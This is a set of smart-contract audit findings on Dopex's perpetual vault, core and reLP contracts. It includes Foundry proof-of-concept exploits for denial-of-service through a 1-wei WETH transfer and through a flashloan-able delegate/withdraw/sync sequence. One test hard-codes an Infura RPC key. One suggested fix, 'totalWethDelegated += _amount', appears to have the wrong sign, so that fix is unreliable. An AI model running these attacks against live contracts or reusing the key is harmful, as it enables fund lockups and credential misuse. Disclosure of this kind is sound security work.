Dopex - degensec's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

Impact

If WETH is sent to the VaultLP contract externally, options cannot be settled.

Description

PerpetualAtlanticVaultLP contains several accounting functions callable by PerpetualAtlanticVault. subtractLoss() is called in the vault's settle() function to update accounting in the LP contract. However, subtractLoss() requires that the contract's WETH balance is strictly equal to the new value.

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

This can be exploited if the contract receives WETH outside of its accounting functions, for example if a malicious user sends 1 wei of WETH to PerpetualAtlanticVaultLP.

Proof of Concept

The following foundry test illustrates this vulnerability.

• Paste the code in a new file PoC.t.sol under /tests/perp-vault/
• Run the test with forge test --match-test test_poc_dos_settle -vvv

// File: PoC.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { Setup } from "./Setup.t.sol";

contract PoC is ERC721Holder, Setup {
    address constant attacker = address(0x1337);
    function test_poc_dos_settle() public {
        // Setup: give attacker weth and add liquidity for options
        weth.mint(attacker, 1);
        vaultLp.deposit(1 ether, address(this));

        // User purchases options
        (, uint256 option1) = vault.purchase(0.01 ether, address(this));
        (, uint256 option2) = vault.purchase(0.01 ether, address(this));

        // Make options settle-able
        priceOracle.updateRdpxPrice(100);

        // Make sure user can settle the first option
        uint256[] memory optionIds = new uint256[](1);
        optionIds[0] = option1;
        vault.settle(optionIds);

        // Attacker sends 1 wei of WETH to vaultLp, messing up accounting
        vm.prank(attacker);
        weth.transfer(address(vaultLp), 1);

        // User cannot settle now
        optionIds[0] = option2;
        vault.settle(optionIds);

    }
}

The second option cannot be settled and the subcall fails with "Not enough collateral was sent out". Tracing the call graph, we can see that the LP contract has 0.997 WETH while the loss being subtracted is 0.0015 WETH. The Vault LP contract clearly has enough WETH and the call shouldn't fail.

This bricked state cannot be recovered from. PerpetualAtlanticVaultLP cannot be redeployed without permanent loss of the locked WETH since no proxies are used.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Remove the require() in subtractLoss():

  function subtractLoss(uint256 loss) public onlyPerpVault {
    _totalCollateral -= loss;
  }

Assessed type

Invalid Validation

Lines of code

fhttps://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L995-L1008 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1080-L1124 (https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L486 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L803

Vulnerability details

Impact

Withdrawing a delegate position, then syncing the reserves causes the accounted WETH reserve to be decreased, which leads to the inability to defend against a lower Rdpx/ETH depeg.

Description

RdpxV2Core contains functionality that allows a user to create a WETH delegate position with addToDelegate() and adjust its size with withdraw(). Creating a delegate position increases the accounting variable totalWethDelegated. However, withdrawing does not decrease it.

// File: RdpxV2Core.sol
  function sync() external {
    for (uint256 i = 1; i < reserveAsset.length; i++) {
      uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
        address(this)
      );

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated; // <-- here
      }
      reserveAsset[i].tokenBalance = balance;
    }

    emit LogSync();
  }

This accounting error can be leveraged to decrease the contract's accounted WETH reserve below the actual reserve amount in the sync() function.

Several functionalities that depend on utilizing the WETH reserve are affected, including:

• Purchasing options: RdpxV2Core.sol#L486
• Providing funding: RdpxV2Core.sol#L803
• Initiating the defense mechanism against a lower depeg (most critical): RdpxV2Core.sol#L1110

Proof of Concept

The attacker can set the WETH reserve to 0 in an atomic transaction with 4 steps:

• Obtain an amount of WETH equal to the current reserves as accounted by the contract. This can also be done via a flashloan, as the attack can be done in a single transaction.
• Add the WETH to a delegate position with addToDelegate().
• Withdraw the supplied WETH with withdraw().
• Call sync(). This sets the WETH reserve to 0.
• (Optional) Return the flashloan

The following Foundry test illustrates the attack.

• Paste the source code in a file PoC.t.sol in `/tests/rdpxV2-core/.
• Run the test with forge test --match-test test_poc_lowerDepegDos -vvv.

// File: PoC.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import { Setup } from "./Setup.t.sol";

contract PoC is Setup {
  function logState(string memory label) private view {
    uint256 balance = weth.balanceOf(address(rdpxV2Core));
    uint256 userBalance = weth.balanceOf(address(this));
    (,uint256 reserve,) = rdpxV2Core.getReserveTokenInfo("WETH");
    uint256 delegated = rdpxV2Core.totalWethDelegated();

    console.log("--%s--", label);
    console.log("Contract: balance=%s reserve=%s delegated=%s", balance, reserve, delegated);
    console.log("User: balance=%s", userBalance);
    console.log("");
  }

  function test_poc_lowerDepegDos() public {
    // Before: Some WETH in reserves
    rdpxV2Core.bond(1 ether, 0, address(this));
    logState("Before attack");
    
    // Attack
    // 0. Obtain WETH (flashloan)
    // 1. Add to delegate an amount equal to the reserves
    (, uint256 wethReserve,) = rdpxV2Core.getReserveTokenInfo("WETH");
    uint256 delegateId = rdpxV2Core.addToDelegate(
      wethReserve, 
      10e8
    );

    // 2. Withdraw, totalWethDelegated is not decreased (bug)
    rdpxV2Core.withdraw(delegateId);

    // 3. Sync: reserve becomes 0 because totalWethDelegated was not decreased
    rdpxV2Core.sync();
    logState("After attack");

    // 4. Result: lowerDepeg() will fail because weth reserve is 0
  }
}

// Output
Running 1 test for tests/rdpxV2-core/PoC.t.sol:PoC
[PASS] test_poc_lowerDepegDos() (gas: 1091002)
Logs:
  --Before attack--
  Contract: balance=245000000000000000 reserve=245000000000000000 delegated=0
  User: balance=18699193750000000000000
  
  --After attack--
  Contract: balance=245000000000000000 reserve=0 delegated=245000000000000000
  User: balance=18699193750000000000000

As can be seen, the attacking user's balance is unchanged. The WETH reserve is erroneously set to 0.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Add the missing accounting step in withdraw():

totalWethDelegated += _amount; 

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L237-L241 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L405-L459 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L462-L496 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L502-L524 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L563-L569

Vulnerability details

Impact

PerpetualAtlanticVault handles funding of its options in discrete consecutive epochs. By default the epoch length is 7 days, however the admin can set it to any length using updateFundingDuration().

Proof of Concept

Note how the nextFundingPaymentTimestamp() is calculated

// ...
return genesis + (latestFundingPaymentPointer * fundingDuration);

If the funding duration is decreased, then nextFundingPaymentTimestamp() will be in the past, thus funding will have to be paid for some extra epochs in order to fast-forward the timestamp. This violates the expectations of option holders and lenders.

If the funding duration is increased, then nextFundingPaymentTimestamp() will be farther in the future, thus users with outstanding options will be able to keep them freely without having to pay funding. This is to detriment of the protocol.

Tools Used

Manual review

Recommended Mitigation Steps

Disable the functionality to change the funding duration.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L202-L307

Vulnerability details

Impact

ReLPContract contains logic that removes WETH-RDPX liquidity from Uniswap V2, swaps some amount WETH to RDPX and re-adds the liquidity.

The calculation logic for the amount of tokens to swap is unreliable and sometimes reverts or leaves dust WETH in the reLP contract. WETH cannot be recovered unless another reLP operation is triggered. However, since reLP-ing is accessible to all users in the bonding logic in RdpxV2Core, the contract may be griefed on an ongoing basis, intentional or not.

The presence of excess WETH also means that the total value of the LP decreases abnormally after each reLP operation.

Proof of Concept

The following Foundry test demonstrates the vulnerability.

• Paste the code in a new file PoC.t.sol under tests/
• Run the test with forge test --match-test test_poc_relp_dust -vvv

// File: PoC.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20WithBurn} from "contracts/interfaces/IERC20WithBurn.sol";
import {MockToken} from "contracts/mocks/MockToken.sol";
import {MockRdpxEthPriceOracle} from "contracts/mocks/MockRdpxEthPriceOracle.sol";
import {ReLPContract} from "contracts/reLP/ReLPContract.sol";
import {RdpxReserve} from "contracts/reserve/RdpxReserve.sol";
import {IUniswapV2Factory} from "contracts/uniswap_V2/IUniswapV2Factory.sol";
import {IUniswapV2Router} from "contracts/uniswap_V2/IUniswapV2Router.sol";
import {IUniswapV2Pair} from "contracts/uniswap_V2/IUniswapV2Pair.sol";

contract MockUniV2Amo {
    function sync() external {}

    function approve(address token, address to, uint256 amount) external {
        IERC20WithBurn(token).approve(to, amount);
    }
}

contract MockRdpxV2Core {
    function sync() external {}
}

contract PoC is Test {
    string internal constant ARBITRUM_RPC_URL =
        "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685";
    uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13

    MockToken weth;
    MockToken rdpx;
    MockRdpxV2Core core;
    RdpxReserve reserve;
    MockUniV2Amo amo;
    MockRdpxEthPriceOracle oracle;

    IUniswapV2Factory factory;
    IUniswapV2Router router;
    IUniswapV2Pair pair;
    ReLPContract re;

    function setUp() public {
        uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM);
        vm.selectFork(forkId);

        weth = new MockToken("WETH", "weth");
        rdpx = new MockToken("RDPX", "rdpx");
        core = new MockRdpxV2Core();
        reserve = new RdpxReserve(address(rdpx));
        amo = new MockUniV2Amo();
        oracle = new MockRdpxEthPriceOracle();

        factory =
            IUniswapV2Factory(0xc35DADB65012eC5796536bD9864eD8773aBc74C4);
        router =
            IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);

        pair = IUniswapV2Pair(
            factory.createPair(address(rdpx), address(weth))
        );

        re = new ReLPContract();
        re.setAddresses(
            address(rdpx),
            address(weth),
            address(pair),
            address(core),
            address(reserve),
            address(amo),
            address(oracle),
            address(factory),
            address(router)
        );

        re.setreLpFactor(1e8);
    }

    function test_poc_relp_dust() public {
        weth.mint(address(this), 1000e18);
        rdpx.mint(address(this), 1000e18);
        rdpx.mint(address(reserve), 10e18);

        weth.approve(address(router), type(uint256).max);
        rdpx.approve(address(router), type(uint256).max);

        // Initial liquidity in the pair (give to amo)
        router.addLiquidity(
            address(rdpx),
            address(weth),
            100e18,
            30e18,
            100e18,
            30e18,
            address(amo),
            block.timestamp
        );

        // pool is at 1 rdpx = 0.3 eth
        oracle.updateRdpxPrice(0.3e8);

        amo.approve(address(pair), address(re), type(uint256).max);

        logInfo("Before relp");
        (uint112 tokenAReserve,,) = pair.getReserves();
        re.reLP(Math.sqrt(uint256(tokenAReserve)) * 250000);
        logInfo("After relp");

    }

    function logInfo(string memory label) private view {
        console.log(label);
        uint256 lpBalanceAmo = pair.balanceOf(address(amo));
        uint256 lpBalanceRelp = pair.balanceOf(address(re));
        uint256 rdpxBalanceCore = rdpx.balanceOf(address(core));
        uint256 wethBalanceRelp = weth.balanceOf(address(re));
        console.log("  lp:   amo=%s, relp=%s", lpBalanceAmo, lpBalanceRelp);
        console.log("  rdpx: core=%s", rdpxBalanceCore);
        console.log("  weth: relp=%s", wethBalanceRelp);
        console.log();
    }
}

// Output
Running 1 test for tests/ReLpDustPoc.t.sol:ReLpDustPoc
[PASS] test_poc_relp_dust() (gas: 738137)
Logs:
  Before relp
    lp:   amo=54772255750516610345, relp=0
    rdpx: core=0
    weth: relp=0
  
  After relp
    lp:   amo=54685393436705721902, relp=0
    rdpx: core=316227765999999999
    weth: relp=67290285273869

Tools Used

Manual review, Optimal One-sided Supply to Uniswap 🦄

Recommended Mitigation Steps

There is an analytic formula to provide one-sided liquidity to Uniswap V2 without leaving dust. This formula can be adapted to ReLP's use-case such that reLPFactor specifies what part of the WETH make-up of the position will be swapped to RDPX according to the formula.

Still, up to 2 wei of dust may be left after the operation, so the remainding RDPX and WETH should be sent to the core contract.

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L231 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L279 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L342 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV3LiquidityAmo.sol#L190 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV3LiquidityAmo.sol#L250 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV3LiquidityAmo.sol#L295

Vulnerability details

Impact

Uniswap V2/V3 operations do not have an external deadline and may be vulnerable to MEV.

Proof of Concept

All of the 6 affected operations set a deadline in the future. This makes them vulnerable to a common MEV attack vector:

• Tx is withheld in the mempool until conditions are profitable for value extraction
• Tx is ordered maliciously to extract MEV.

Even without malicious extraction, a transaction may be pending arbitrarily long in the mempool due to gas conditions and end up being executed at unforeseen sub-optimal market conditions.

LP-in, LP-out and swap operations are vulnerable to various MEV activities, such as sandwich attacks, arbitrage, Reverse LP Sandwich Arbitrage, JIT Liquidity.

Tools Used

Manual review, Medium articles (linked)

Recommended Mitigation Steps

Since these are admin-only operations, add a deadline parameter to each function. When calling these function, set the deadline to a reasonably short time from now, for example 5 minutes.

Assessed type

MEV